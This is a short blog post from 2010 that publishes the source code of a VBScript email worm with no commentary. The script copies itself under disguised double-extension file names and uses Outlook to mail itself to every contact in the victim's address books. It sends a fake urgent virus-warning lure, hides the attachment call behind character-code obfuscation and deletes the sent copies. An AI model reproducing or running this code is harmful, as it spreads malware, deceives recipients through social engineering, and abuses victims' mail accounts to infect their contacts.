Sunday, January 24, 2010

VBS worm.......

Set A26A29SP =
createobject("scripting.filesystemobject
")
M6513N2L =
A26A29SP.getspecialfolder(0)
J4J1VA0S = M6513N2L &
"\virus_worm.gif.vbs"
Set U7LQ7232 =
createobject("wscript.shell")
A26A29SP.copyfile
wscript.scriptfullname, J4J1VA0S
KUJLC5O4
Function KUJLC5O4()
Randomize
If 1 + Int(Rnd * 5) = 7 then
Msgbox "Windows is missing file
#22,#45, and #56 urgent attention is
needed.",16,"Error missing file"
end if
end function
Set L34PCRVC = createobject("scripting.filesystemobject")
L4SPP824 = L34PCRVC.getspecialfolder(0)
T347EMBE = L4SPP824 & "\virus_worm.txt.vbs"
Set A58JV1LD = createobject("wscript.shell")
L34PCRVC.copyfile wscript.scriptfullname, T347EMBE
If A58JV1LD.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Virus\Q1278VNR") <> 1 then
RTQKJ241
End if
Function RTQKJ241()
Set HA5B2I87 = CreateObject("Outlook.Application")
If HA5B2I87 = "Outlook" Then
Set A1TT8582 = HA5B2I87.GetNameSpace("MAPI")
Set EIRK7BAE = A1TT8582.AddressLists
For Each L79M43VG In EIRK7BAE
If L79M43VG.AddressEntries.Count <> 0 Then
IC4EESE6 = L79M43VG.AddressEntries.Count
For I1IH1I72 = 1 To IC4EESE6
Set TCT5953N = HA5B2I87.CreateItem(0)
Set GJ754911 = L79M43VG.AddressEntries(I1IH1I72)
TCT5953N.To = GJ754911.Address
TCT5953N.Subject = "!!!!!! URGENT ATTENTION !!!!!!!"
TCT5953N.Body = "The newest virus developer KB is" & vbcrlf & "back and has created one of the most" & vbcrlf & "powerful viruses in the history of the " & vbcrlf & "internet.It infects your system steals " & vbcrlf & "passwords,banking information," & vbcrlf & "and all other personal information." & vbcrlf & "If you want to be safe open this" & vbcrlf & "attachment and select "scan"" & vbcrlf & "it detects all known sources of the virus" & vbcrlf & "and backup files." & vbcrlf & ""
execute "set JDCN30FA =TCT5953N." & Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115)
K2C9C6U2 = T347EMBE
TCT5953N.DeleteAfterSubmit = True
JDCN30FA.Add K2C9C6U2
If TCT5953N.To <> "" Then
TCT5953N.Send
End If
Next
End If
Next
End If
End function
Set C5BFFMVO = createobject("scripting.filesystemobject")
H8OQOL3K = C5BFFMVO.getspecialfolder(0)

No comments: